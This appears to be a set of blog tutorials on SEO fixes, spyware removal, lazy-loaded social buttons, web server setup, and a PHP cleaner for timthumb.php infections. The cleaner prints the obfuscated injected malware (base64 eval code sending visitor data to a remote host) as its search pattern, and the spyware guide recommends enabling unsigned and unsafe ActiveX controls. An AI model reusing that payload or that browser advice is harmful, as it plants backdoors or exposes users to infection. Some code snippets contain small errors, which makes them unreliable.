SEO thin content check

Thin content is not easy to be explained, but because it became more popular during the Panda update here are some things that you can do in order to represent your website in a more favorable light to the search engines.
You can learn a bit more about the SEO topic from my online course.
Some examples and fixes of thin content follow:

1. Target: Duplicate content caused by sessions, referral or page order/filtering parameters appended to the end of the page like: ?orderby=desc that doesn't change the actual content on the page or just reorders the same content. Also if your website has AJAX back button navigation, or just a login system with session IDs appended to the end of the URL, as well as frames with tracking ids attached. Just look at the different URLs on the picture below, representing same content:

URL parameters, like session IDs or tracking IDs, cause duplicate content, because the same page is accessible through numerous URLs. 

Solution (to session appended URLs):
After long searching the following technique from webmasterworld's member JDmorgan succeeded to get ~90% of my website content fully indexed. Here is how to implement this technique on practice using apache .htaccess.
Just put the following lines in your .htaccess file and test:

1) Allow only .html pages to be spidered

#allow only .html requests
RewriteCond %{query_string} .
RewriteRule ^([^.]+)\.html$ http://your_website.com/$1.html? [R=301,L]

2) Remove all the sessionid from the URL parameters, when a page is being called by bots

#remove URL sessionids
RewriteCond %{HTTP_USER_AGENT} Googlebot [OR]
RewriteCond %{HTTP_USER_AGENT} Slurp [OR]
RewriteCond %{HTTP_USER_AGENT} msnbot [OR]
RewriteCond %{HTTP_USER_AGENT} Teoma
RewriteCond %{QUERY_STRING} ^(([^&]+&)+)*PHPSESSid=[0-9a-f]*&(.*)$
RewriteRule ^$ http://your_web_site.com/?%1%3 [R=301,L]

2. Target: 301 header redirects chain
A chain of 301 redirects could cause you a loss of PageRank i.e. lead to thin content. So please check that your 301 redirects are final i.e. they point to an end page and not to another redirect page. You can use LiveHTTPHeaders extension to do this kind of check.

Solution: fix your redirects!

3. Target: Because it is thin
Pages with content < 150 words or 10 visits during the whole year. You can check out the latter with Google analytics by looking at your content pages, ordered by page-views setting time range of 1 year backward. Find and fix those URLs!

Solution: Either remove/nofollow or block with robots.txt or rewrite/merge the content.

4. Target: Heavy internal linking:
By placing multiple links on a page to pages/tags/categories you are reducing the particular page's power. This way only a few pages supported by lots of incoming internal links are considered as not thin by Google Panda algorithm.

Solution: You need to clean up the mistaken links on that page by adding rel = "nofollow" to the outgoing links or better remove (rearrange to bottom) the whole section (tag cloud, partner links, etc...) from your website.

5. Target: Percentage of URLs having thin content
Google maintains two indexes: primary and supplemental. Everything that looks thin or not worthy (i.e. doesn't have enough backlinks) goes to the supplemental. Factor when determining thin content is the percentage of indexed and available via search to its supplemental pages a particular website might have. So the more pages you maintain in Google's primary index the better. It is possible that your new (already fixed) and old (thin) content now fights for position on Google's search. Remember that the old content already has Google's trust with its earlier creation date and links pointing to it, but it is still thin!

Solution: Either redirect the old to the new URL via 301 permanent redirect or log in at Google's Webmaster tools then from Tools->Remove URL typed your old URLs and wait. But before this you'll have to manually add meta noindex, nofollow to them and remove all restrictions in your robots.txt file in order to get the Google to apply the index,nofollow attributes.

Q: How to find thin content URLs more effectively?
Sometimes when you try to find indexed thin content via: site:http://yourwebsite.com you won't see their full list.

Solution:

• use the parameter "-" in your query:
  First, do a site search site and then consecutively remove the known and valid URLs from the results.
  "site:http://yourwebsite.com -article"
  will remove all URLs like article-5.html, article-100.html, etc... This way you'll see the thin content pages more quickly.
• when you know the thin content page name just do
  site: http://yourwebsite.com problematic_parameter
  ( ie.:"site:http://yourwebsite.com mode" this will show all of the indexed modes of your website like: mode=new_article, mode=read_later, mode=show_comment etc... Find out the wrong ones and do a removal request upon them. )

Enjoy and be welcomed to share your experience!
---
P.S. If you don't have access to .htaccess file you could achieve the above functionality using the canonical tag - just take a look at these SEO penalty checklists series.
More information on the dynamic URLs effect to search engines as well as how to manage them using yahoo's site explorer you can find here: https://web.archive.org/web/20091004104302/http://help.yahoo.com/l/us/yahoo/search/siteexplorer/dynamic/dynamic-01.html

Online spyware removal

(part of the Windows course :)

Note: if you don't have access to Windows Safe Mode - which is essential when cleaning viruses: before scanning with these applications I suggest you download and run from a flash drive Hitman pro. If it doesn't succeed try with a bootable CD running Kaspersky  then launch the WindowsUnlocker feature. Only then you can continue with MalwareBytes.
Here is a list of free online anti-spyware tools that will help you to clean up a PC from spyware trojans and viruses. Compared with the standard anti-virus software they have the following:

• Advantages:
  - no need for application installation on your computer.
  - online scanners use the latest antivirus definitions.
  
• Disadvantages:
  - some online scanners like Kaspersky online scanner and Panda Active Scan list only viruses they find without cleaning them. (Panda Active scan actually only finds viruses but cleans up spyware). This way they could be used for a system check only.
  The following compact anti-spyware tools have a small size that will not affect your system's performance, and will not slow down your application loading time. So give them a try and don't forget to update the definitions first!
• A-squared Web Malware Scanner
• SuperAntiSpyware makes a sophisticated spyware analysis on your system 
• Anti-Spyware for the web from TrendMicro HouseCall
• Microsoft Security Essentials
• Norton's Symantec on-line security scan and virus detection 
• F-Secure Online Virus Scanner
  

• ArcaMicroScan  (first you need to download and install the supporting libraries)
• ESET / NOD32 Online Scanner

Before you scan your PC
Some of the online scanners require specific access to run. Under Windows, if you notice at the upper part of the screen the Information Bar click on it and select Enable, Install or Run the file from the context menu.


Some online scanners work in Internet Explorer browser only and require ActiveX controls to be turned on. You can enable ActiveX by switching to menu Tools on Internet Explorer:


1. Go to Internet Options.
2. Then on the Security tab, click on Default Level.

Another way of enabling ActiveX is to add the antivirus program's website to your Trusted sites:
1. Go to Internet Options -> Security Tab -> Trusted sites.
2. For the Security Level for this zone click on the button Custom level...
3. Fill in the full address of the website you want to have access to in the input field Add this website into this zone & uncheck the mark on Require server verification(https:) for all sites in this zone.
4. Check the availability of ActiveX scripting in Internet Explorer. In the field Security level for this zone click on Custom level button and under ActiveX controls and plugins enable:

Automatic Prompting for ActiveX controls
Download Signed ActiveX controls
Download Unsigned ActiveX controls
Initialize and run ActiveX controls that are not marked as safe
Run ActiveX controls and plug-ins
Script ActiveX controls marked safe for scripting

Virus removal tools
If you really know what virus has infected your PC you can browse through major antivirus providers databases and download tools that will specifically clean up your computer at a much higher speed. Sometimes there are some virus variants that are not so easy to clean up so you can try downloading several different cleaning utilities in order to have a broader spectrum for catching the intruder. These tools need to be downloaded and run as standalone applications:
Avira
BitDefender
AVG
Kaspersky
McAffee

And if you think that you have infected file you can always send it for a check to:

https://virusscan.jotti.org/

Protection tool
SpywareBlaster - prevents the installation of spyware, adware, dialers, browser hijackers, and other potentially unwanted programs. It will also protect your Internet browser.
Usage:

1. Under “Quick Tasks” click “Download Latest Protection Updates”.
2. Click the “Check for Updates” button.
3. After updating, click “Protection” near the top.
4. Under “Quick Tasks” click “Enable All Protection”.

How to save time?
Instead of testing all the on-line scanners you can first run a quick check & clean procedure with Dr.web's CureIt. Run the application and go to Options -> Change settings. Choose the "Scan tab" and Uncheck "Heuristic analysis". Then click on the Start Scanning button.

Last but not least you must definitely try the great free Anti-malware scanner/cleaner offered from MalwareBytes:

Happy cleaning!

Load Facebook like, Google+ social buttons on mouse over

The following two techniques will definitely speed up your web page loading times if you want to use social sharing buttons.
The action performed by the first technique is simple:
1) Do not load or render third party resources (i.e. external javascript files) until visitor places the mouse over the social buttons.
2) Mimic social buttons appearance via simple images.
3) When the user hovers the buttons, temporarily used images are being hidden and replaced by the original buttons from Google, Facebook, LinkedIn, etc.
Here is more info on the subject: http://www.rustybrick.com/javascript-hover-effects-to-speed-up-page-load-time.html

First place div tag with id = sharebox and put simple .png mock-up graphics of the social buttons inside.
<div id=sharebox > <img src="social.png" /> </div>

<span id="social_share"><img src= "images/user.gif" /></span>
<div>
<a href="https://twitter.com/share" class="twitter-share-button" data-count="horizontal"></a>
<div class="g-plusone" data-annotation="inline" data-size="medium" data-width="120"></div>
<script type="IN/Share" data-counter="right"></script>
<div class="fb-like" data-layout="button_count" data-send="false" data-show-faces="false" data-width="90"></div>
</div>

Then add this simple working JavaScript code placed below:

document.getElementById('social_share').addEventListener("mouseenter", load_scripts);
function load_js_script(src, call_back) {
    var scriptTag = document.createElement("script");
    scriptTag.type = "text/javascript";
    scriptTag.src = src;
    scriptTag.async = true;
    document.getElementsByTagName("head")[0].appendChild(scriptTag);
    scriptTag.onload = function () {
        if (typeof call_back != 'undefined') {
            call_back();
        }
    };
}

function load_scripts(e) {
    e.target.innerHTML = '';
    if (typeof twttr != 'undefined') {
        twttr.widgets.load();
    } else {
        load_js_script('//platform.twitter.com/widgets.js');
    }
    if (typeof FB != 'undefined') {
        FB.init({
            status: true,
            cookie: true,
            xfbml: true
        });
    } else {
        load_js_script("//connect.facebook.net/en_US/all.js#xfbml=1", function () {
            FB.init({
                status: true,
                cookie: true,
                xfbml: true
            });
        });
    }
    if (typeof gapi != 'undefined') {
        var gplus = document.getElementByClassName('g-plusone');
        gapi.plusone.render(gplus);
    } else {
        load_js_script('https://apis.google.com/js/plusone.js');
    }

    if (typeof IN != 'undefined') {
        IN.parse();
    } else {
        load_js_script("//platform.linkedin.com/in.js");
    }
}

Second and faster way of loading those buttons is by using specially styled Iframes. This way we are not loading the third-party libraries locally such as all.js or plusone.js which speeds the code significantly. Here is how:

document.getElementById('social_share').addEventListener("mouseenter", load_scripts);

function load_scripts() {
    e.target.innerHTML = '';
    makeIframe("https://plusone.google.com/_/+1/fastbutton?url=http://tools.royalsbg.com/test_social.html&size=medium&count=false", "google_slot");
    makeIframe("https://www.facebook.com/plugins/like.php?href=http://tools.royalsbg.com/test_social.html", "facebook_slot");
}

function makeIframe(url, call_id) {
    var iframe = document.createElement('iframe');
    iframe.id = call_id;
    iframe.src = url;
    document.body.appendChild(iframe);
}

P.S. These are just sample images. Please use/create placeholder images of your own taste.
Cheers!

Timthumb.php exploit cleaner

After having a day of manually cleaning about 300+ leftovers of the newest version of timthumb.php malware here is a working exploit cleaner that you can use it to check your whole web server for vulnerabilities and automatically clean his mess:
Usage: just save and run the following .php file from the root directory of your domain.

<?
$path[] = '../*';
while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
        $path[] = $item . '/*';
        elseif (is_file($item))
        {
            if (preg_match('/index.php/is', $item)) {
                echo "processing $item - last modified at: " . date ("F d Y H:i:s.", filemtime($item));
                disinfect($item);
                echo "<br /> ";
            }
        }
    }
}
function restore_hsc($val){
    $val = str_replace('&amp;', '&', $val);
    $val = str_replace('&ouml;', '?', $val);
    $val = str_replace('&auml;', '?', $val);
    $val = str_replace('&uuml;', '?', $val);
    $val = str_replace('&lt;', '<', $val);
    $val = str_replace('&gt;', '>', $val);
    $val = str_replace('&quot;', '"', $val);
    return $val;
}
function disinfect($filename) {
    $pattern='<?php $_F=__FILE__;$_X=\'Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));$ua = urlencode(strtolower($_SERVER[\'HTTP_USER_AGENT\']));$ip = $_SERVER[\'REMOTE_ADDR\'];$host = $_SERVER[\'HTTP_HOST\'];$uri = urlencode($_SERVER[\'REQUEST_URI\']);$ref = urlencode($_SERVER[\'HTTP_REFERER\']);$url = $url.\'?ip=\'.$ip.\'&host=\'.$host.\'&uri=\'.$uri.\'&ua=\'.$ua.\'&ref=\'.$ref; $tmp = file_get_contents($url); echo $tmp; ?>';
    $pattern=trim(htmlspecialchars($pattern)); //prepare pattern
    $lines = file($filename);
    $found=0;
    for ($i=0; $i<sizeof($lines); $i++) {
        $current_line=trim(htmlspecialchars($lines[$i]));
        if(strstr($current_line, $pattern)) {
            $lines[$i]=str_replace($pattern, "", htmlspecialchars(trim($lines[$i])));
            $lines[$i]= preg_replace('/\s\s+/', ' ', $lines[$i]);
            $lines[$i]=restore_hsc($lines[$i]);
            $found++;
        }
    }
    $lines = array_values($lines);
    if ($found >0) {
        $file = fopen($filename, "w");
        fwrite($file, implode("\n",$lines));
        fclose($file);
        echo " <span style=\"color:red;\" is infected. Cured: $found injected objects</span> <br />";
    }
    else {echo "clean <br /> ";}
}
?>

P.S. don't forget to share if the script has helped you :)

SEO iframes and redirects

Hidden redirects
Do you know what's the difference between these two custom error not-found pages? (where to find them? hint: look in your .htaccess file)

ErrorDocument 404 http://your_website.com/error404.php

ErrorDocument 404 error404.php

It appears that the first line returns 302 Found header code and then redirects to your 404 page, which is a really bad thing from an SEO standpoint and gets penalized. The second line gives you the normal 404 pages returning a proper 404 header code.

Too many 301 redirects
Can you recognize this code?

RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L] 

You may think that it is OK when you redirect your old to a new domain (in case of having Panda penalty applied) via 301 temporary header redirect. But what happens if the old domain already has some kind of penalty applied. Well, it automatically transfers to your new domain, because as you've might noticed 301 is actually a PERMANENT redirect and transfers all the weight from the previous domain. So go, check and fix those two cases and be really careful!

Usage of iframes between subdomains
On one website(~500pages) with over 300 pages indexed in Google, I've used an iframe linking to other sub-domain in order to display relevant content. When I removed the iframe almost immediately, in less than 24 hours my indexed results grew from 300 to 360.
But why?
I started searching on the forums and it appeared that Google penalty filter was triggered by such a huge usage of iframes (mistakenly taken as poisoning attack). Here is a short explanation from Matt Cutts on this:

"Essentially, our search algorithm saw a large area on the blog that was due to an IFRAME included from another site and that looked spammy to our automatic classifier."
link: http://groups.google.com/group/Google_Webmaster_Help-Indexing/browse_thread/thread/68692a9aefae425f

Solution:
Remove all the iframes that you have or replace them with ajax calls or just static HTML content.
Wait a few days and run: site:http://yourwebsite.com to see the difference in the results!

Good luck!

SEO keyword density, canonical, duplicate content

Above is a sample screenshot is taken from Google's Webmaster Tools Keywords report. You may ask why should we need it when we can use Firefox integrated Show keyword density function?
Well, one benefit is that this function shows specific keyword significance across your pages. Let me explain what do this means:

Suppose that you are optimizing content for the keyword 'cars'. It's a normal practice to repeat 'cars' 2-3 times, style it in bold, etc... Everything's good as long as you do it naturally. The moment you overstuff your page with this keyword it will get penalized and lose its current ranking in Google SERPS. So you have to be careful with such repetitions.
Moreover in the report, you can see the overall website keyword significance. And because Google likes thematic websites it is really important for these keywords to reflect your website purpose or theme. Otherwise, you're just targeting the wrong visitors and shouldn't be puzzled by the high abandonment rate.

But, enough with the theory now let's discuss how you can fix some things up:

Check every individual webpage keyword density online via Webconfs and correct(reduce) words, that are being used over 2%. Again this % depends on your local keyword concurrency. So tolerable levels can vary up and down.

Add the 'canonical' tag to all your website pages:

< link rel="canonical" href="http://www.example.com/your_preferred_webpage_url.html" />

(and make sure to specify the URL that you really prefer!). This will reveal to the search engine what your legitimate webpage is. More info: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html

---

Blogger users can achieve adding canonical with the following code at the head section in the Template:

<b:if cond='data:blog.pageType == "item"'>
<link expr:href='data:blog.url' rel='canonical'/>
</b:if>

(it will remove the parameters appended at the end of the URL such as http://nevyan.blogspot.com/2016/12/test.html?showComment=1242753180000
and specify the original authority page: http://nevyan.blogspot.com/2016/12/test.html )

Next to prevent duplicate references of your archive( i.e .../2009_01_01_archive.html) and label pages( i.e. /search/label/...) from getting indexed just add:

<b:if cond='data:blog.pageType == "archive"'>
<meta content='noindex,follow' name='robots'/>
</b:if>
<b:if cond='data:blog.pageType == "index"'>
<b:if cond='data:blog.url != data:blog.homepageUrl'>
<meta content='noindex,follow' name='robots'/>
</b:if>
</b:if>

To prevent indexing of mobile (duplicates) of the original pages:
    <b:if cond="data:blog.isMobile">
<meta content='noindex,nofollow' name='robots'/>
</b:if>

And working solution blocking even the /search/tags from indexing, allowing only homepage and posts to be indexed:
    <b:if cond="data:blog.pageType == "index" and data:blog.url != data:blog.homepageUrl">
<meta content='noindex,follow' name='robots'/>
</b:if>

Windows installation of PHP, MySql & Apache

This article will show how with only a few easy steps you can install the Apache web server, the PHP language, and the MySQL databases all under Windows OS. This way you'll be able to develop your own websites and follow up practical web development courses such as:

Star Rating with PHP, MySql and JavaScript
Create contact form with PHP, JavaScript and CSS

Let's begin! Here we will be doing the manual way of installation, if you prefer an automated way you can use XAMPP as shown in the video:

First, download and install the following packages in this way:
1. Apache Win32 Binary http://httpd.apache.org/download.cgi
2. PHP installer http://www.php.net/downloads.php
3. MySQL community server http://dev.mysql.com/downloads/mysql/5.0.html
(optionally: mysql php_mysqli.dll driver from http://dev.mysql.com/downloads/connector/php-mysqlnd/)

APACHE
Check up: After the initial installation in a browser window address bar window type: http://localhost
If working properly the Apache server will show you this message: It works!

PHP
1. Open the file httpd.conf found in directory:  C:\Program files\Apache Software Foundation\Apache2.4\conf\ and add after the last LoadModule section:
LoadModule php5_module "C:\Program Files\PHP\php7apache2_4.dll" where php4apache2_4.dll is the file telling Apache to load dynamically the PHP language.
Note: If your file has a different name please use it!

2. Find the AddType line and add the following under:
AddHandler application/x-httpd-php .php
PHPIniDir "C:/PHP"

This tells the webserver to associate all .php files to the interpreter. Otherwise, when you run a .php file in your browser you'll see it as a normal text file followed by the usual Save as dialogue.
 

Check: Create a new file named index.php and type in the following: <? phpinfo(); ?> . Place it in C:\Program Files\Apache Software Foundation\Apache2.4\htdocs. Open the browser again and load the index.php file. If it loads up properly then your Php is being installed correctly!

MYSQL
0. Get and run the MySql installer from https://dev.mysql.com/downloads/installer/

1. Rename the file php-dist.ini to php.ini and copy it from the directory it's installation directory i.e. Program files\PHP in c:\windows. Then copy the files php_mysql.dll and libmysql.dll in directory c:\windows\system32.

2. Open c:\windows\php.ini and add after the section Dynamic extensions the following 2:
extension=libmysql.dll
extension=php_mysql.dll

Check: If everything is ready, create index.php file with content: <? phpinfo(); ?> inside: C:\Program Files\Apache Software Foundation\Apache2.4\htdocs
Point your browser to: http://localhost and you'll have to see in the information the MySQL section.

When having problems:
If Apache fails to run open Start->Run->eventvwr.msc and check under the Application tab the type of error coming from Apache Service. A most common error is:

Only one usage of each socket address (protocol/network address/port) is normally permitted. : make_sock: could not bind to address 0.0.0.0:80

Solution: open httpd.conf and change the listening port used by Apache to 3128 for example.

Other often harder to see the error is being produced when you use the short <? when typing your code - this is forbidden in some of the PHP versions. If you want to use this functionality then change the option:
short_open_tag = On
in php.ini

Cheers, and if you have any questions just ask!